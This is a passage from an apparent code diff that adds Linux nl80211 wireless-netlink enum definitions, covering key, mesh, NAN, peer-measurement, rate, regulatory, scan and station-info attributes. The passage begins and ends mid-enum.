__NL80211_IFTYPE_AKM_ATTR_INVALID = 0, + NL80211_IFTYPE_AKM_ATTR_IFTYPES = 1, + NL80211_IFTYPE_AKM_ATTR_SUITES = 2, + __NL80211_IFTYPE_AKM_ATTR_LAST = 3, + NL80211_IFTYPE_AKM_ATTR_MAX = 2, +}; + +enum nl80211_key_attributes { + __NL80211_KEY_INVALID = 0, + NL80211_KEY_DATA = 1, + NL80211_KEY_IDX = 2, + NL80211_KEY_CIPHER = 3, + NL80211_KEY_SEQ = 4, + NL80211_KEY_DEFAULT = 5, + NL80211_KEY_DEFAULT_MGMT = 6, + NL80211_KEY_TYPE = 7, + NL80211_KEY_DEFAULT_TYPES = 8, + NL80211_KEY_MODE = 9, + NL80211_KEY_DEFAULT_BEACON = 10, + __NL80211_KEY_AFTER_LAST = 11, + NL80211_KEY_MAX = 10, +}; + +enum nl80211_key_default_types { + __NL80211_KEY_DEFAULT_TYPE_INVALID = 0, + NL80211_KEY_DEFAULT_TYPE_UNICAST = 1, + NL80211_KEY_DEFAULT_TYPE_MULTICAST = 2, + NUM_NL80211_KEY_DEFAULT_TYPES = 3, +}; + +enum nl80211_key_mode { + NL80211_KEY_RX_TX = 0, + NL80211_KEY_NO_TX = 1, + NL80211_KEY_SET_TX = 2, +}; + +enum nl80211_key_type { + NL80211_KEYTYPE_GROUP = 0, + NL80211_KEYTYPE_PAIRWISE = 1, + NL80211_KEYTYPE_PEERKEY = 2, + NUM_NL80211_KEYTYPES = 3, +}; + +enum nl80211_mbssid_config_attributes { + __NL80211_MBSSID_CONFIG_ATTR_INVALID = 0, + NL80211_MBSSID_CONFIG_ATTR_MAX_INTERFACES = 1, + NL80211_MBSSID_CONFIG_ATTR_MAX_EMA_PROFILE_PERIODICITY = 2, + NL80211_MBSSID_CONFIG_ATTR_INDEX = 3, + NL80211_MBSSID_CONFIG_ATTR_TX_IFINDEX = 4, + NL80211_MBSSID_CONFIG_ATTR_EMA = 5, + __NL80211_MBSSID_CONFIG_ATTR_LAST = 6, + NL80211_MBSSID_CONFIG_ATTR_MAX = 5, +}; + +enum nl80211_mesh_power_mode { + NL80211_MESH_POWER_UNKNOWN = 0, + NL80211_MESH_POWER_ACTIVE = 1, + NL80211_MESH_POWER_LIGHT_SLEEP = 2, + NL80211_MESH_POWER_DEEP_SLEEP = 3, + __NL80211_MESH_POWER_AFTER_LAST = 4, + NL80211_MESH_POWER_MAX = 3, +}; + +enum nl80211_mesh_setup_params { + __NL80211_MESH_SETUP_INVALID = 0, + NL80211_MESH_SETUP_ENABLE_VENDOR_PATH_SEL = 1, + NL80211_MESH_SETUP_ENABLE_VENDOR_METRIC = 2, + NL80211_MESH_SETUP_IE = 3, + NL80211_MESH_SETUP_USERSPACE_AUTH = 4, + NL80211_MESH_SETUP_USERSPACE_AMPE = 5, + NL80211_MESH_SETUP_ENABLE_VENDOR_SYNC = 6, + NL80211_MESH_SETUP_USERSPACE_MPM = 7, + NL80211_MESH_SETUP_AUTH_PROTOCOL = 8, + __NL80211_MESH_SETUP_ATTR_AFTER_LAST = 9, + NL80211_MESH_SETUP_ATTR_MAX = 8, +}; + +enum nl80211_meshconf_params { + __NL80211_MESHCONF_INVALID = 0, + NL80211_MESHCONF_RETRY_TIMEOUT = 1, + NL80211_MESHCONF_CONFIRM_TIMEOUT = 2, + NL80211_MESHCONF_HOLDING_TIMEOUT = 3, + NL80211_MESHCONF_MAX_PEER_LINKS = 4, + NL80211_MESHCONF_MAX_RETRIES = 5, + NL80211_MESHCONF_TTL = 6, + NL80211_MESHCONF_AUTO_OPEN_PLINKS = 7, + NL80211_MESHCONF_HWMP_MAX_PREQ_RETRIES = 8, + NL80211_MESHCONF_PATH_REFRESH_TIME = 9, + NL80211_MESHCONF_MIN_DISCOVERY_TIMEOUT = 10, + NL80211_MESHCONF_HWMP_ACTIVE_PATH_TIMEOUT = 11, + NL80211_MESHCONF_HWMP_PREQ_MIN_INTERVAL = 12, + NL80211_MESHCONF_HWMP_NET_DIAM_TRVS_TIME = 13, + NL80211_MESHCONF_HWMP_ROOTMODE = 14, + NL80211_MESHCONF_ELEMENT_TTL = 15, + NL80211_MESHCONF_HWMP_RANN_INTERVAL = 16, + NL80211_MESHCONF_GATE_ANNOUNCEMENTS = 17, + NL80211_MESHCONF_HWMP_PERR_MIN_INTERVAL = 18, + NL80211_MESHCONF_FORWARDING = 19, + NL80211_MESHCONF_RSSI_THRESHOLD = 20, + NL80211_MESHCONF_SYNC_OFFSET_MAX_NEIGHBOR = 21, + NL80211_MESHCONF_HT_OPMODE = 22, + NL80211_MESHCONF_HWMP_PATH_TO_ROOT_TIMEOUT = 23, + NL80211_MESHCONF_HWMP_ROOT_INTERVAL = 24, + NL80211_MESHCONF_HWMP_CONFIRMATION_INTERVAL = 25, + NL80211_MESHCONF_POWER_MODE = 26, + NL80211_MESHCONF_AWAKE_WINDOW = 27, + NL80211_MESHCONF_PLINK_TIMEOUT = 28, + NL80211_MESHCONF_CONNECTED_TO_GATE = 29, + NL80211_MESHCONF_NOLEARN = 30, + NL80211_MESHCONF_CONNECTED_TO_AS = 31, + __NL80211_MESHCONF_ATTR_AFTER_LAST = 32, + NL80211_MESHCONF_ATTR_MAX = 31, +}; + +enum nl80211_mfp { + NL80211_MFP_NO = 0, + NL80211_MFP_REQUIRED = 1, + NL80211_MFP_OPTIONAL = 2, +}; + +enum nl80211_mntr_flags { + __NL80211_MNTR_FLAG_INVALID = 0, + NL80211_MNTR_FLAG_FCSFAIL = 1, + NL80211_MNTR_FLAG_PLCPFAIL = 2, + NL80211_MNTR_FLAG_CONTROL = 3, + NL80211_MNTR_FLAG_OTHER_BSS = 4, + NL80211_MNTR_FLAG_COOK_FRAMES = 5, + NL80211_MNTR_FLAG_ACTIVE = 6, + __NL80211_MNTR_FLAG_AFTER_LAST = 7, + NL80211_MNTR_FLAG_MAX = 6, +}; + +enum nl80211_mpath_info { + __NL80211_MPATH_INFO_INVALID = 0, + NL80211_MPATH_INFO_FRAME_QLEN = 1, + NL80211_MPATH_INFO_SN = 2, + NL80211_MPATH_INFO_METRIC = 3, + NL80211_MPATH_INFO_EXPTIME = 4, + NL80211_MPATH_INFO_FLAGS = 5, + NL80211_MPATH_INFO_DISCOVERY_TIMEOUT = 6, + NL80211_MPATH_INFO_DISCOVERY_RETRIES = 7, + NL80211_MPATH_INFO_HOP_COUNT = 8, + NL80211_MPATH_INFO_PATH_CHANGE = 9, + __NL80211_MPATH_INFO_AFTER_LAST = 10, + NL80211_MPATH_INFO_MAX = 9, +}; + +enum nl80211_multicast_groups { + NL80211_MCGRP_CONFIG = 0, + NL80211_MCGRP_SCAN = 1, + NL80211_MCGRP_REGULATORY = 2, + NL80211_MCGRP_MLME = 3, + NL80211_MCGRP_VENDOR = 4, + NL80211_MCGRP_NAN = 5, + NL80211_MCGRP_TESTMODE = 6, +}; + +enum nl80211_nan_func_attributes { + __NL80211_NAN_FUNC_INVALID = 0, + NL80211_NAN_FUNC_TYPE = 1, + NL80211_NAN_FUNC_SERVICE_ID = 2, + NL80211_NAN_FUNC_PUBLISH_TYPE = 3, + NL80211_NAN_FUNC_PUBLISH_BCAST = 4, + NL80211_NAN_FUNC_SUBSCRIBE_ACTIVE = 5, + NL80211_NAN_FUNC_FOLLOW_UP_ID = 6, + NL80211_NAN_FUNC_FOLLOW_UP_REQ_ID = 7, + NL80211_NAN_FUNC_FOLLOW_UP_DEST = 8, + NL80211_NAN_FUNC_CLOSE_RANGE = 9, + NL80211_NAN_FUNC_TTL = 10, + NL80211_NAN_FUNC_SERVICE_INFO = 11, + NL80211_NAN_FUNC_SRF = 12, + NL80211_NAN_FUNC_RX_MATCH_FILTER = 13, + NL80211_NAN_FUNC_TX_MATCH_FILTER = 14, + NL80211_NAN_FUNC_INSTANCE_ID = 15, + NL80211_NAN_FUNC_TERM_REASON = 16, + NUM_NL80211_NAN_FUNC_ATTR = 17, + NL80211_NAN_FUNC_ATTR_MAX = 16, +}; + +enum nl80211_nan_func_term_reason { + NL80211_NAN_FUNC_TERM_REASON_USER_REQUEST = 0, + NL80211_NAN_FUNC_TERM_REASON_TTL_EXPIRED = 1, + NL80211_NAN_FUNC_TERM_REASON_ERROR = 2, +}; + +enum nl80211_nan_function_type { + NL80211_NAN_FUNC_PUBLISH = 0, + NL80211_NAN_FUNC_SUBSCRIBE = 1, + NL80211_NAN_FUNC_FOLLOW_UP = 2, + __NL80211_NAN_FUNC_TYPE_AFTER_LAST = 3, + NL80211_NAN_FUNC_MAX_TYPE = 2, +}; + +enum nl80211_nan_match_attributes { + __NL80211_NAN_MATCH_INVALID = 0, + NL80211_NAN_MATCH_FUNC_LOCAL = 1, + NL80211_NAN_MATCH_FUNC_PEER = 2, + NUM_NL80211_NAN_MATCH_ATTR = 3, + NL80211_NAN_MATCH_ATTR_MAX = 2, +}; + +enum nl80211_nan_publish_type { + NL80211_NAN_SOLICITED_PUBLISH = 1, + NL80211_NAN_UNSOLICITED_PUBLISH = 2, +}; + +enum nl80211_nan_srf_attributes { + __NL80211_NAN_SRF_INVALID = 0, + NL80211_NAN_SRF_INCLUDE = 1, + NL80211_NAN_SRF_BF = 2, + NL80211_NAN_SRF_BF_IDX = 3, + NL80211_NAN_SRF_MAC_ADDRS = 4, + NUM_NL80211_NAN_SRF_ATTR = 5, + NL80211_NAN_SRF_ATTR_MAX = 4, +}; + +enum nl80211_obss_pd_attributes { + __NL80211_HE_OBSS_PD_ATTR_INVALID = 0, + NL80211_HE_OBSS_PD_ATTR_MIN_OFFSET = 1, + NL80211_HE_OBSS_PD_ATTR_MAX_OFFSET = 2, + NL80211_HE_OBSS_PD_ATTR_NON_SRG_MAX_OFFSET = 3, + NL80211_HE_OBSS_PD_ATTR_BSS_COLOR_BITMAP = 4, + NL80211_HE_OBSS_PD_ATTR_PARTIAL_BSSID_BITMAP = 5, + NL80211_HE_OBSS_PD_ATTR_SR_CTRL = 6, + __NL80211_HE_OBSS_PD_ATTR_LAST = 7, + NL80211_HE_OBSS_PD_ATTR_MAX = 6, +}; + +enum nl80211_packet_pattern_attr { + __NL80211_PKTPAT_INVALID = 0, + NL80211_PKTPAT_MASK = 1, + NL80211_PKTPAT_PATTERN = 2, + NL80211_PKTPAT_OFFSET = 3, + NUM_NL80211_PKTPAT = 4, + MAX_NL80211_PKTPAT = 3, +}; + +enum nl80211_peer_measurement_attrs { + __NL80211_PMSR_ATTR_INVALID = 0, + NL80211_PMSR_ATTR_MAX_PEERS = 1, + NL80211_PMSR_ATTR_REPORT_AP_TSF = 2, + NL80211_PMSR_ATTR_RANDOMIZE_MAC_ADDR = 3, + NL80211_PMSR_ATTR_TYPE_CAPA = 4, + NL80211_PMSR_ATTR_PEERS = 5, + NUM_NL80211_PMSR_ATTR = 6, + NL80211_PMSR_ATTR_MAX = 5, +}; + +enum nl80211_peer_measurement_ftm_capa { + __NL80211_PMSR_FTM_CAPA_ATTR_INVALID = 0, + NL80211_PMSR_FTM_CAPA_ATTR_ASAP = 1, + NL80211_PMSR_FTM_CAPA_ATTR_NON_ASAP = 2, + NL80211_PMSR_FTM_CAPA_ATTR_REQ_LCI = 3, + NL80211_PMSR_FTM_CAPA_ATTR_REQ_CIVICLOC = 4, + NL80211_PMSR_FTM_CAPA_ATTR_PREAMBLES = 5, + NL80211_PMSR_FTM_CAPA_ATTR_BANDWIDTHS = 6, + NL80211_PMSR_FTM_CAPA_ATTR_MAX_BURSTS_EXPONENT = 7, + NL80211_PMSR_FTM_CAPA_ATTR_MAX_FTMS_PER_BURST = 8, + NL80211_PMSR_FTM_CAPA_ATTR_TRIGGER_BASED = 9, + NL80211_PMSR_FTM_CAPA_ATTR_NON_TRIGGER_BASED = 10, + NUM_NL80211_PMSR_FTM_CAPA_ATTR = 11, + NL80211_PMSR_FTM_CAPA_ATTR_MAX = 10, +}; + +enum nl80211_peer_measurement_ftm_failure_reasons { + NL80211_PMSR_FTM_FAILURE_UNSPECIFIED = 0, + NL80211_PMSR_FTM_FAILURE_NO_RESPONSE = 1, + NL80211_PMSR_FTM_FAILURE_REJECTED = 2, + NL80211_PMSR_FTM_FAILURE_WRONG_CHANNEL = 3, + NL80211_PMSR_FTM_FAILURE_PEER_NOT_CAPABLE = 4, + NL80211_PMSR_FTM_FAILURE_INVALID_TIMESTAMP = 5, + NL80211_PMSR_FTM_FAILURE_PEER_BUSY = 6, + NL80211_PMSR_FTM_FAILURE_BAD_CHANGED_PARAMS = 7, +}; + +enum nl80211_peer_measurement_ftm_req { + __NL80211_PMSR_FTM_REQ_ATTR_INVALID = 0, + NL80211_PMSR_FTM_REQ_ATTR_ASAP = 1, + NL80211_PMSR_FTM_REQ_ATTR_PREAMBLE = 2, + NL80211_PMSR_FTM_REQ_ATTR_NUM_BURSTS_EXP = 3, + NL80211_PMSR_FTM_REQ_ATTR_BURST_PERIOD = 4, + NL80211_PMSR_FTM_REQ_ATTR_BURST_DURATION = 5, + NL80211_PMSR_FTM_REQ_ATTR_FTMS_PER_BURST = 6, + NL80211_PMSR_FTM_REQ_ATTR_NUM_FTMR_RETRIES = 7, + NL80211_PMSR_FTM_REQ_ATTR_REQUEST_LCI = 8, + NL80211_PMSR_FTM_REQ_ATTR_REQUEST_CIVICLOC = 9, + NL80211_PMSR_FTM_REQ_ATTR_TRIGGER_BASED = 10, + NL80211_PMSR_FTM_REQ_ATTR_NON_TRIGGER_BASED = 11, + NL80211_PMSR_FTM_REQ_ATTR_LMR_FEEDBACK = 12, + NL80211_PMSR_FTM_REQ_ATTR_BSS_COLOR = 13, + NUM_NL80211_PMSR_FTM_REQ_ATTR = 14, + NL80211_PMSR_FTM_REQ_ATTR_MAX = 13, +}; + +enum nl80211_peer_measurement_ftm_resp { + __NL80211_PMSR_FTM_RESP_ATTR_INVALID = 0, + NL80211_PMSR_FTM_RESP_ATTR_FAIL_REASON = 1, + NL80211_PMSR_FTM_RESP_ATTR_BURST_INDEX = 2, + NL80211_PMSR_FTM_RESP_ATTR_NUM_FTMR_ATTEMPTS = 3, + NL80211_PMSR_FTM_RESP_ATTR_NUM_FTMR_SUCCESSES = 4, + NL80211_PMSR_FTM_RESP_ATTR_BUSY_RETRY_TIME = 5, + NL80211_PMSR_FTM_RESP_ATTR_NUM_BURSTS_EXP = 6, + NL80211_PMSR_FTM_RESP_ATTR_BURST_DURATION = 7, + NL80211_PMSR_FTM_RESP_ATTR_FTMS_PER_BURST = 8, + NL80211_PMSR_FTM_RESP_ATTR_RSSI_AVG = 9, + NL80211_PMSR_FTM_RESP_ATTR_RSSI_SPREAD = 10, + NL80211_PMSR_FTM_RESP_ATTR_TX_RATE = 11, + NL80211_PMSR_FTM_RESP_ATTR_RX_RATE = 12, + NL80211_PMSR_FTM_RESP_ATTR_RTT_AVG = 13, + NL80211_PMSR_FTM_RESP_ATTR_RTT_VARIANCE = 14, + NL80211_PMSR_FTM_RESP_ATTR_RTT_SPREAD = 15, + NL80211_PMSR_FTM_RESP_ATTR_DIST_AVG = 16, + NL80211_PMSR_FTM_RESP_ATTR_DIST_VARIANCE = 17, + NL80211_PMSR_FTM_RESP_ATTR_DIST_SPREAD = 18, + NL80211_PMSR_FTM_RESP_ATTR_LCI = 19, + NL80211_PMSR_FTM_RESP_ATTR_CIVICLOC = 20, + NL80211_PMSR_FTM_RESP_ATTR_PAD = 21, + NUM_NL80211_PMSR_FTM_RESP_ATTR = 22, + NL80211_PMSR_FTM_RESP_ATTR_MAX = 21, +}; + +enum nl80211_peer_measurement_peer_attrs { + __NL80211_PMSR_PEER_ATTR_INVALID = 0, + NL80211_PMSR_PEER_ATTR_ADDR = 1, + NL80211_PMSR_PEER_ATTR_CHAN = 2, + NL80211_PMSR_PEER_ATTR_REQ = 3, + NL80211_PMSR_PEER_ATTR_RESP = 4, + NUM_NL80211_PMSR_PEER_ATTRS = 5, + NL80211_PMSR_PEER_ATTR_MAX = 4, +}; + +enum nl80211_peer_measurement_req { + __NL80211_PMSR_REQ_ATTR_INVALID = 0, + NL80211_PMSR_REQ_ATTR_DATA = 1, + NL80211_PMSR_REQ_ATTR_GET_AP_TSF = 2, + NUM_NL80211_PMSR_REQ_ATTRS = 3, + NL80211_PMSR_REQ_ATTR_MAX = 2, +}; + +enum nl80211_peer_measurement_resp { + __NL80211_PMSR_RESP_ATTR_INVALID = 0, + NL80211_PMSR_RESP_ATTR_DATA = 1, + NL80211_PMSR_RESP_ATTR_STATUS = 2, + NL80211_PMSR_RESP_ATTR_HOST_TIME = 3, + NL80211_PMSR_RESP_ATTR_AP_TSF = 4, + NL80211_PMSR_RESP_ATTR_FINAL = 5, + NL80211_PMSR_RESP_ATTR_PAD = 6, + NUM_NL80211_PMSR_RESP_ATTRS = 7, + NL80211_PMSR_RESP_ATTR_MAX = 6, +}; + +enum nl80211_peer_measurement_status { + NL80211_PMSR_STATUS_SUCCESS = 0, + NL80211_PMSR_STATUS_REFUSED = 1, + NL80211_PMSR_STATUS_TIMEOUT = 2, + NL80211_PMSR_STATUS_FAILURE = 3, +}; + +enum nl80211_peer_measurement_type { + NL80211_PMSR_TYPE_INVALID = 0, + NL80211_PMSR_TYPE_FTM = 1, + NUM_NL80211_PMSR_TYPES = 2, + NL80211_PMSR_TYPE_MAX = 1, +}; + +enum nl80211_plink_action { + NL80211_PLINK_ACTION_NO_ACTION = 0, + NL80211_PLINK_ACTION_OPEN = 1, + NL80211_PLINK_ACTION_BLOCK = 2, + NUM_NL80211_PLINK_ACTIONS = 3, +}; + +enum nl80211_plink_state { + NL80211_PLINK_LISTEN = 0, + NL80211_PLINK_OPN_SNT = 1, + NL80211_PLINK_OPN_RCVD = 2, + NL80211_PLINK_CNF_RCVD = 3, + NL80211_PLINK_ESTAB = 4, + NL80211_PLINK_HOLDING = 5, + NL80211_PLINK_BLOCKED = 6, + NUM_NL80211_PLINK_STATES = 7, + MAX_NL80211_PLINK_STATES = 6, +}; + +enum nl80211_pmksa_candidate_attr { + __NL80211_PMKSA_CANDIDATE_INVALID = 0, + NL80211_PMKSA_CANDIDATE_INDEX = 1, + NL80211_PMKSA_CANDIDATE_BSSID = 2, + NL80211_PMKSA_CANDIDATE_PREAUTH = 3, + NUM_NL80211_PMKSA_CANDIDATE = 4, + MAX_NL80211_PMKSA_CANDIDATE = 3, +}; + +enum nl80211_preamble { + NL80211_PREAMBLE_LEGACY = 0, + NL80211_PREAMBLE_HT = 1, + NL80211_PREAMBLE_VHT = 2, + NL80211_PREAMBLE_DMG = 3, + NL80211_PREAMBLE_HE = 4, +}; + +enum nl80211_protocol_features { + NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP = 1, +}; + +enum nl80211_ps_state { + NL80211_PS_DISABLED = 0, + NL80211_PS_ENABLED = 1, +}; + +enum nl80211_radar_event { + NL80211_RADAR_DETECTED = 0, + NL80211_RADAR_CAC_FINISHED = 1, + NL80211_RADAR_CAC_ABORTED = 2, + NL80211_RADAR_NOP_FINISHED = 3, + NL80211_RADAR_PRE_CAC_EXPIRED = 4, + NL80211_RADAR_CAC_STARTED = 5, +}; + +enum nl80211_rate_info { + __NL80211_RATE_INFO_INVALID = 0, + NL80211_RATE_INFO_BITRATE = 1, + NL80211_RATE_INFO_MCS = 2, + NL80211_RATE_INFO_40_MHZ_WIDTH = 3, + NL80211_RATE_INFO_SHORT_GI = 4, + NL80211_RATE_INFO_BITRATE32 = 5, + NL80211_RATE_INFO_VHT_MCS = 6, + NL80211_RATE_INFO_VHT_NSS = 7, + NL80211_RATE_INFO_80_MHZ_WIDTH = 8, + NL80211_RATE_INFO_80P80_MHZ_WIDTH = 9, + NL80211_RATE_INFO_160_MHZ_WIDTH = 10, + NL80211_RATE_INFO_10_MHZ_WIDTH = 11, + NL80211_RATE_INFO_5_MHZ_WIDTH = 12, + NL80211_RATE_INFO_HE_MCS = 13, + NL80211_RATE_INFO_HE_NSS = 14, + NL80211_RATE_INFO_HE_GI = 15, + NL80211_RATE_INFO_HE_DCM = 16, + NL80211_RATE_INFO_HE_RU_ALLOC = 17, + NL80211_RATE_INFO_320_MHZ_WIDTH = 18, + NL80211_RATE_INFO_EHT_MCS = 19, + NL80211_RATE_INFO_EHT_NSS = 20, + NL80211_RATE_INFO_EHT_GI = 21, + NL80211_RATE_INFO_EHT_RU_ALLOC = 22, + NL80211_RATE_INFO_S1G_MCS = 23, + NL80211_RATE_INFO_S1G_NSS = 24, + NL80211_RATE_INFO_1_MHZ_WIDTH = 25, + NL80211_RATE_INFO_2_MHZ_WIDTH = 26, + NL80211_RATE_INFO_4_MHZ_WIDTH = 27, + NL80211_RATE_INFO_8_MHZ_WIDTH = 28, + NL80211_RATE_INFO_16_MHZ_WIDTH = 29, + __NL80211_RATE_INFO_AFTER_LAST = 30, + NL80211_RATE_INFO_MAX = 29, +}; + +enum nl80211_reg_initiator { + NL80211_REGDOM_SET_BY_CORE = 0, + NL80211_REGDOM_SET_BY_USER = 1, + NL80211_REGDOM_SET_BY_DRIVER = 2, + NL80211_REGDOM_SET_BY_COUNTRY_IE = 3, +}; + +enum nl80211_reg_rule_attr { + __NL80211_REG_RULE_ATTR_INVALID = 0, + NL80211_ATTR_REG_RULE_FLAGS = 1, + NL80211_ATTR_FREQ_RANGE_START = 2, + NL80211_ATTR_FREQ_RANGE_END = 3, + NL80211_ATTR_FREQ_RANGE_MAX_BW = 4, + NL80211_ATTR_POWER_RULE_MAX_ANT_GAIN = 5, + NL80211_ATTR_POWER_RULE_MAX_EIRP = 6, + NL80211_ATTR_DFS_CAC_TIME = 7, + NL80211_ATTR_POWER_RULE_PSD = 8, + __NL80211_REG_RULE_ATTR_AFTER_LAST = 9, + NL80211_REG_RULE_ATTR_MAX = 8, +}; + +enum nl80211_reg_rule_flags { + NL80211_RRF_NO_OFDM = 1, + NL80211_RRF_NO_CCK = 2, + NL80211_RRF_NO_INDOOR = 4, + NL80211_RRF_NO_OUTDOOR = 8, + NL80211_RRF_DFS = 16, + NL80211_RRF_PTP_ONLY = 32, + NL80211_RRF_PTMP_ONLY = 64, + NL80211_RRF_NO_IR = 128, + __NL80211_RRF_NO_IBSS = 256, + NL80211_RRF_AUTO_BW = 2048, + NL80211_RRF_IR_CONCURRENT = 4096, + NL80211_RRF_NO_HT40MINUS = 8192, + NL80211_RRF_NO_HT40PLUS = 16384, + NL80211_RRF_NO_80MHZ = 32768, + NL80211_RRF_NO_160MHZ = 65536, + NL80211_RRF_NO_HE = 131072, + NL80211_RRF_NO_320MHZ = 262144, + NL80211_RRF_NO_EHT = 524288, + NL80211_RRF_PSD = 1048576, + NL80211_RRF_DFS_CONCURRENT = 2097152, + NL80211_RRF_NO_6GHZ_VLP_CLIENT = 4194304, + NL80211_RRF_NO_6GHZ_AFC_CLIENT = 8388608, + NL80211_RRF_ALLOW_6GHZ_VLP_AP = 16777216, +}; + +enum nl80211_reg_type { + NL80211_REGDOM_TYPE_COUNTRY = 0, + NL80211_REGDOM_TYPE_WORLD = 1, + NL80211_REGDOM_TYPE_CUSTOM_WORLD = 2, + NL80211_REGDOM_TYPE_INTERSECTION = 3, +}; + +enum nl80211_rekey_data { + __NL80211_REKEY_DATA_INVALID = 0, + NL80211_REKEY_DATA_KEK = 1, + NL80211_REKEY_DATA_KCK = 2, + NL80211_REKEY_DATA_REPLAY_CTR = 3, + NL80211_REKEY_DATA_AKM = 4, + NUM_NL80211_REKEY_DATA = 5, + MAX_NL80211_REKEY_DATA = 4, +}; + +enum nl80211_sae_pwe_mechanism { + NL80211_SAE_PWE_UNSPECIFIED = 0, + NL80211_SAE_PWE_HUNT_AND_PECK = 1, + NL80211_SAE_PWE_HASH_TO_ELEMENT = 2, + NL80211_SAE_PWE_BOTH = 3, +}; + +enum nl80211_sar_attrs { + __NL80211_SAR_ATTR_INVALID = 0, + NL80211_SAR_ATTR_TYPE = 1, + NL80211_SAR_ATTR_SPECS = 2, + __NL80211_SAR_ATTR_LAST = 3, + NL80211_SAR_ATTR_MAX = 2, +}; + +enum nl80211_sar_specs_attrs { + __NL80211_SAR_ATTR_SPECS_INVALID = 0, + NL80211_SAR_ATTR_SPECS_POWER = 1, + NL80211_SAR_ATTR_SPECS_RANGE_INDEX = 2, + NL80211_SAR_ATTR_SPECS_START_FREQ = 3, + NL80211_SAR_ATTR_SPECS_END_FREQ = 4, + __NL80211_SAR_ATTR_SPECS_LAST = 5, + NL80211_SAR_ATTR_SPECS_MAX = 4, +}; + +enum nl80211_sar_type { + NL80211_SAR_TYPE_POWER = 0, + NUM_NL80211_SAR_TYPE = 1, +}; + +enum nl80211_scan_flags { + NL80211_SCAN_FLAG_LOW_PRIORITY = 1, + NL80211_SCAN_FLAG_FLUSH = 2, + NL80211_SCAN_FLAG_AP = 4, + NL80211_SCAN_FLAG_RANDOM_ADDR = 8, + NL80211_SCAN_FLAG_FILS_MAX_CHANNEL_TIME = 16, + NL80211_SCAN_FLAG_ACCEPT_BCAST_PROBE_RESP = 32, + NL80211_SCAN_FLAG_OCE_PROBE_REQ_HIGH_TX_RATE = 64, + NL80211_SCAN_FLAG_OCE_PROBE_REQ_DEFERRAL_SUPPRESSION = 128, + NL80211_SCAN_FLAG_LOW_SPAN = 256, + NL80211_SCAN_FLAG_LOW_POWER = 512, + NL80211_SCAN_FLAG_HIGH_ACCURACY = 1024, + NL80211_SCAN_FLAG_RANDOM_SN = 2048, + NL80211_SCAN_FLAG_MIN_PREQ_CONTENT = 4096, + NL80211_SCAN_FLAG_FREQ_KHZ = 8192, + NL80211_SCAN_FLAG_COLOCATED_6GHZ = 16384, +}; + +enum nl80211_sched_scan_match_attr { + __NL80211_SCHED_SCAN_MATCH_ATTR_INVALID = 0, + NL80211_SCHED_SCAN_MATCH_ATTR_SSID = 1, + NL80211_SCHED_SCAN_MATCH_ATTR_RSSI = 2, + NL80211_SCHED_SCAN_MATCH_ATTR_RELATIVE_RSSI = 3, + NL80211_SCHED_SCAN_MATCH_ATTR_RSSI_ADJUST = 4, + NL80211_SCHED_SCAN_MATCH_ATTR_BSSID = 5, + NL80211_SCHED_SCAN_MATCH_PER_BAND_RSSI = 6, + __NL80211_SCHED_SCAN_MATCH_ATTR_AFTER_LAST = 7, + NL80211_SCHED_SCAN_MATCH_ATTR_MAX = 6, +}; + +enum nl80211_sched_scan_plan { + __NL80211_SCHED_SCAN_PLAN_INVALID = 0, + NL80211_SCHED_SCAN_PLAN_INTERVAL = 1, + NL80211_SCHED_SCAN_PLAN_ITERATIONS = 2, + __NL80211_SCHED_SCAN_PLAN_AFTER_LAST = 3, + NL80211_SCHED_SCAN_PLAN_MAX = 2, +}; + +enum nl80211_smps_mode { + NL80211_SMPS_OFF = 0, + NL80211_SMPS_STATIC = 1, + NL80211_SMPS_DYNAMIC = 2, + __NL80211_SMPS_AFTER_LAST = 3, + NL80211_SMPS_MAX = 2, +}; + +enum nl80211_sta_bss_param { + __NL80211_STA_BSS_PARAM_INVALID = 0, + NL80211_STA_BSS_PARAM_CTS_PROT = 1, + NL80211_STA_BSS_PARAM_SHORT_PREAMBLE = 2, + NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME = 3, + NL80211_STA_BSS_PARAM_DTIM_PERIOD = 4, + NL80211_STA_BSS_PARAM_BEACON_INTERVAL = 5, + __NL80211_STA_BSS_PARAM_AFTER_LAST = 6, + NL80211_STA_BSS_PARAM_MAX = 5, +}; + +enum nl80211_sta_flags { + __NL80211_STA_FLAG_INVALID = 0, + NL80211_STA_FLAG_AUTHORIZED = 1, + NL80211_STA_FLAG_SHORT_PREAMBLE = 2, + NL80211_STA_FLAG_WME = 3, + NL80211_STA_FLAG_MFP = 4, + NL80211_STA_FLAG_AUTHENTICATED = 5, + NL80211_STA_FLAG_TDLS_PEER = 6, + NL80211_STA_FLAG_ASSOCIATED = 7, + NL80211_STA_FLAG_SPP_AMSDU = 8, + __NL80211_STA_FLAG_AFTER_LAST = 9, + NL80211_STA_FLAG_MAX = 8, +}; + +enum nl80211_sta_info { + __NL80211_STA_INFO_INVALID = 0, + NL80211_STA_INFO_INACTIVE_TIME = 1, + NL80211_STA_INFO_RX_BYTES = 2, + NL80211_STA_INFO_TX_BYTES = 3, + NL80211_STA_INFO_LLID = 4, + NL80211_STA_INFO_PLID = 5, + NL80211_STA_INFO_PLINK_STATE = 6, + NL80211_STA_INFO_SIGNAL = 7, + NL80211_STA_INFO_TX_BITRATE = 8, + NL80211_STA_INFO_RX_PACKETS = 9, + NL80211_STA_INFO_TX_PACKETS = 10, + NL80211_STA_INFO_TX_RETRIES = 11, + NL80211_STA_INFO_TX_FAILED = 12, + NL80211_STA_INFO_SIGNAL_AVG = 13, + NL80211_STA_INFO_RX_BITRATE = 14, + NL80211_STA_INFO_BSS_PARAM = 15, + NL80211_STA_INFO_CONNECTED_TIME = 16, + NL80211_STA_INFO_STA_FLAGS = 17, + NL80211_STA_INFO_BEACON_LOSS = 18, + NL80211_STA_INFO_T_OFFSET = 19, + NL80211_STA_INFO_LOCAL_PM = 20, + NL80211_STA_INFO_PEER_PM = 21, + NL80211_STA_INFO_NONPEER_PM = 22, + NL80211_STA_INFO_RX_BYTES64 = 23, + NL80211_STA_INFO_TX_BYTES64 = 24, + NL80211_STA_INFO_CHAIN_SIGNAL = 25, + NL80211_STA_INFO_CHAIN_SIGNAL_AVG = 26, + NL80211_STA_INFO_EXPECTED_THROUGHPUT = 27, + NL80211_STA_INFO_RX_DROP_MISC = 28, + NL80211_STA_INFO_BEACON_RX = 29, + NL80211_STA_INFO_BEACON_SIGNAL_AVG = 30, + NL80211_STA_INFO_TID_STATS = 31, + NL80211_STA_INFO_RX_DURATION = 32, + NL80211_STA_INFO_PAD = 33, + NL80211_STA_INFO_ACK_SIGNAL = 34, + 